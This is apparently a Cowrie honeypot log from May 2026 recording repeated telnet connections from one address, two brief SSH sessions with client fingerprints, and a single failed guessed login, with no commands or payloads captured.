{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":50978,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3dc003666c9","protocol":"telnet","message":"New connection: 206.54.191.52:50978 (159.203.135.109:23) [session: a3dc003666c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:53.676455Z"}
{"eventid":"cowrie.session.closed","duration":30.48855471611023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:54.313107Z","src_ip":"206.54.191.52","session":"defb4b216561","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.388548851013184,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:54.512969Z","src_ip":"206.54.191.52","session":"7f47f85b1162","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":51316,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7b18f408889","protocol":"telnet","message":"New connection: 206.54.191.52:51316 (159.203.135.109:23) [session: b7b18f408889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:54.934013Z"}
{"eventid":"cowrie.session.closed","duration":43.35528755187988,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:55.690894Z","src_ip":"206.54.191.52","session":"fb1b43d1e485","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.284955263137817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:55.826705Z","src_ip":"206.54.191.52","session":"21c25fc64ede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.734307765960693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:55.835916Z","src_ip":"206.54.191.52","session":"b085579e9ccc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.230414628982544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:56.213517Z","src_ip":"206.54.191.52","session":"849b78ca67b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":56706,"dst_ip":"159.203.135.109","dst_port":23,"session":"c444973c89a1","protocol":"telnet","message":"New connection: 206.54.191.52:56706 (159.203.135.109:23) [session: c444973c89a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:58.510974Z"}
{"eventid":"cowrie.session.closed","duration":31.401580333709717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:58.744012Z","src_ip":"206.54.191.52","session":"b14f2bdc06da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48261523246765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:59.356600Z","src_ip":"206.54.191.52","session":"b70bc67cd706","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":57890,"dst_ip":"159.203.135.109","dst_port":23,"session":"67e0018997c9","protocol":"telnet","message":"New connection: 206.54.191.52:57890 (159.203.135.109:23) [session: 67e0018997c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:59.644048Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":56936,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a67c000e9f8","protocol":"telnet","message":"New connection: 206.54.191.52:56936 (159.203.135.109:23) [session: 7a67c000e9f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:59.659689Z"}
{"eventid":"cowrie.session.closed","duration":30.152989387512207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:00.125394Z","src_ip":"206.54.191.52","session":"7998d433f1bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.284665822982788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:00.628329Z","src_ip":"206.54.191.52","session":"1ad0ac6e763b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":57870,"dst_ip":"159.203.135.109","dst_port":23,"session":"85a9bf05eb04","protocol":"telnet","message":"New connection: 206.54.191.52:57870 (159.203.135.109:23) [session: 85a9bf05eb04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:00.636671Z"}
{"eventid":"cowrie.session.closed","duration":31.51887583732605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:01.678357Z","src_ip":"206.54.191.52","session":"b3d6b14f7414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.230101823806763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:02.080509Z","src_ip":"206.54.191.52","session":"48007926dd2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.544224977493286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:04.141518Z","src_ip":"206.54.191.52","session":"56d0a63d282b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42512321472168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:04.637179Z","src_ip":"206.54.191.52","session":"d08854f70a42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":35604,"dst_ip":"159.203.135.109","dst_port":23,"session":"66242511031d","protocol":"telnet","message":"New connection: 206.54.191.52:35604 (159.203.135.109:23) [session: 66242511031d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:04.642928Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":36284,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a079b90c2f3","protocol":"telnet","message":"New connection: 206.54.191.52:36284 (159.203.135.109:23) [session: 7a079b90c2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:05.291656Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":35210,"dst_ip":"159.203.135.109","dst_port":23,"session":"88fb858920b4","protocol":"telnet","message":"New connection: 206.54.191.52:35210 (159.203.135.109:23) [session: 88fb858920b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:05.414225Z"}
{"eventid":"cowrie.session.closed","duration":33.67929434776306,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:05.633172Z","src_ip":"206.54.191.52","session":"075f9bc8c119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":34474,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca43d5ead661","protocol":"ssh","message":"New connection: 14.225.205.58:34474 (10.17.0.5:22) [session: ca43d5ead661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:06.349086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:06.354210Z","src_ip":"14.225.205.58","session":"ca43d5ead661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:06.609678Z","src_ip":"14.225.205.58","session":"ca43d5ead661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.66324257850647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:06.637581Z","src_ip":"206.54.191.52","session":"b537fc49753b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":37472,"dst_ip":"159.203.135.109","dst_port":23,"session":"9017dfa2d1e6","protocol":"telnet","message":"New connection: 206.54.191.52:37472 (159.203.135.109:23) [session: 9017dfa2d1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:07.148423Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":37600,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfe3f403299c","protocol":"telnet","message":"New connection: 206.54.191.52:37600 (159.203.135.109:23) [session: dfe3f403299c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:07.339303Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"rusty","message":"login attempt [guest/rusty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:07.660544Z","src_ip":"14.225.205.58","session":"ca43d5ead661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":38656,"dst_ip":"159.203.135.109","dst_port":23,"session":"1646edee278e","protocol":"telnet","message":"New connection: 206.54.191.52:38656 (159.203.135.109:23) [session: 1646edee278e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:08.108012Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":40386,"dst_ip":"159.203.135.109","dst_port":23,"session":"12c6e5740cc2","protocol":"telnet","message":"New connection: 206.54.191.52:40386 (159.203.135.109:23) [session: 12c6e5740cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:08.513973Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":39186,"dst_ip":"159.203.135.109","dst_port":23,"session":"d37f1ee0ec2a","protocol":"telnet","message":"New connection: 206.54.191.52:39186 (159.203.135.109:23) [session: d37f1ee0ec2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:08.591580Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:08.917810Z","src_ip":"14.225.205.58","session":"ca43d5ead661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":39932,"dst_ip":"159.203.135.109","dst_port":23,"session":"889bc66065e3","protocol":"telnet","message":"New connection: 206.54.191.52:39932 (159.203.135.109:23) [session: 889bc66065e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:09.192067Z"}
{"eventid":"cowrie.session.closed","duration":30.40710210800171,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:09.251697Z","src_ip":"206.54.191.52","session":"89ef9e88f302","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.09747672080994,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:09.361724Z","src_ip":"206.54.191.52","session":"b7be76371c70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.746681451797485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:09.792288Z","src_ip":"206.54.191.52","session":"d327f54ef9b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":41348,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c5dc9640055","protocol":"telnet","message":"New connection: 206.54.191.52:41348 (159.203.135.109:23) [session: 2c5dc9640055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:10.405514Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":43032,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d9c6119e539","protocol":"telnet","message":"New connection: 206.54.191.52:43032 (159.203.135.109:23) [session: 1d9c6119e539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:10.803495Z"}
{"eventid":"cowrie.session.closed","duration":32.864930391311646,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:11.239397Z","src_ip":"206.54.191.52","session":"34e56b58fe48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14278769493103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:11.310415Z","src_ip":"206.54.191.52","session":"6e2fa6f5f16b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26540184020996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:11.347277Z","src_ip":"206.54.191.52","session":"ddc869f3e0ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":43686,"dst_ip":"159.203.135.109","dst_port":23,"session":"63eade0860d9","protocol":"telnet","message":"New connection: 206.54.191.52:43686 (159.203.135.109:23) [session: 63eade0860d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:11.501048Z"}
{"eventid":"cowrie.session.closed","duration":31.176066637039185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:13.182227Z","src_ip":"206.54.191.52","session":"f6395485acf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574984312057495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:13.248268Z","src_ip":"206.54.191.52","session":"7f6cf01d8075","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":45730,"dst_ip":"159.203.135.109","dst_port":23,"session":"82649ea6e0d3","protocol":"telnet","message":"New connection: 206.54.191.52:45730 (159.203.135.109:23) [session: 82649ea6e0d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:13.287532Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":44714,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3aa855a4443","protocol":"telnet","message":"New connection: 206.54.191.52:44714 (159.203.135.109:23) [session: d3aa855a4443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:13.382071Z"}
{"eventid":"cowrie.session.closed","duration":30.685893297195435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:13.432764Z","src_ip":"206.54.191.52","session":"016e812c54ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.605416297912598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:13.861352Z","src_ip":"206.54.191.52","session":"2c1f67663118","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.14272665977478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:14.095285Z","src_ip":"206.54.191.52","session":"d382728928a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.552218914031982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:14.396933Z","src_ip":"206.54.191.52","session":"d542af86e9a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":45914,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d2d774aad40","protocol":"telnet","message":"New connection: 206.54.191.52:45914 (159.203.135.109:23) [session: 0d2d774aad40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:14.410065Z"}
{"eventid":"cowrie.session.closed","duration":40.44904112815857,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:14.682944Z","src_ip":"206.54.191.52","session":"3b6ab9a0a992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.018433809280396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:15.181747Z","src_ip":"206.54.191.52","session":"fca297bdde24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65516233444214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:15.264759Z","src_ip":"206.54.191.52","session":"260c1be55fbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.051154136657715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:16.288026Z","src_ip":"206.54.191.52","session":"4613544dfb76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29180407524109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:16.511100Z","src_ip":"206.54.191.52","session":"f00ef944824e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":49894,"dst_ip":"159.203.135.109","dst_port":23,"session":"26ac65a4f4ca","protocol":"telnet","message":"New connection: 206.54.191.52:49894 (159.203.135.109:23) [session: 26ac65a4f4ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:16.881389Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":49090,"dst_ip":"159.203.135.109","dst_port":23,"session":"d39b854b3b3d","protocol":"telnet","message":"New connection: 206.54.191.52:49090 (159.203.135.109:23) [session: d39b854b3b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:17.294827Z"}
{"eventid":"cowrie.session.closed","duration":32.91967010498047,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:18.389639Z","src_ip":"206.54.191.52","session":"8c40d22daa09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085060119628906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:19.192549Z","src_ip":"206.54.191.52","session":"34e00f82f0ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919275999069214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:19.197807Z","src_ip":"206.54.191.52","session":"c86e5d34feb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.960052251815796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:19.272567Z","src_ip":"206.54.191.52","session":"d26dbcec4edb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.186417818069458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:20.163683Z","src_ip":"206.54.191.52","session":"0ca4190f5dd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":53536,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a310eeacabf","protocol":"telnet","message":"New connection: 206.54.191.52:53536 (159.203.135.109:23) [session: 7a310eeacabf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:20.206355Z"}
{"eventid":"cowrie.session.closed","duration":31.15196704864502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:20.308719Z","src_ip":"206.54.191.52","session":"bffbd34010ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":53194,"dst_ip":"159.203.135.109","dst_port":23,"session":"077274fa9bba","protocol":"telnet","message":"New connection: 206.54.191.52:53194 (159.203.135.109:23) [session: 077274fa9bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:20.786061Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":49828,"dst_ip":"159.203.135.109","dst_port":23,"session":"617260ad440a","protocol":"telnet","message":"New connection: 206.54.191.52:49828 (159.203.135.109:23) [session: 617260ad440a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:20.838406Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":54584,"dst_ip":"159.203.135.109","dst_port":23,"session":"05cdc374e4ad","protocol":"telnet","message":"New connection: 206.54.191.52:54584 (159.203.135.109:23) [session: 05cdc374e4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:21.071247Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":53929,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f3a0ff84955","protocol":"telnet","message":"New connection: 206.54.191.52:53929 (159.203.135.109:23) [session: 5f3a0ff84955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:21.582907Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":55118,"dst_ip":"159.203.135.109","dst_port":23,"session":"994b558de2a0","protocol":"telnet","message":"New connection: 206.54.191.52:55118 (159.203.135.109:23) [session: 994b558de2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:21.588332Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":31294,"dst_ip":"10.17.0.5","dst_port":22,"session":"a643e66d2f23","protocol":"ssh","message":"New connection: 154.117.199.5:31294 (10.17.0.5:22) [session: a643e66d2f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:21.854006Z"}
{"eventid":"cowrie.session.closed","duration":31.813098192214966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:22.018657Z","src_ip":"206.54.191.52","session":"234b1736dd8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.552098512649536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:22.053385Z","src_ip":"206.54.191.52","session":"83bf40e933fc","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:22.089427Z","src_ip":"154.117.199.5","session":"a643e66d2f23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1216037273407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:22.158873Z","src_ip":"206.54.191.52","session":"d5253c58a7c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:18:22.324593Z","src_ip":"154.117.199.5","session":"a643e66d2f23","protocol":"ssh"}
